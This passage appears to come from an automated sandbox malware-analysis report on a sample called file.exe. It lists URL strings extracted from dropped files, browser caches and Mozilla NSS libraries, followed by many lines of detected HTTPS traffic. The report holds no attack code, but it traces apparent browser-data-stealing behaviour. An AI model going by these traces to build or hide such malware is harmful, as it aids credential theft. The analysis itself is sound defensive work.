Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_470.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, HCFCAAEB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp.10.dr, c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_470.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_470.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_470.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1880318911.000000002380B000.00000004.00000020.00020000.00000000.sdmp, CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
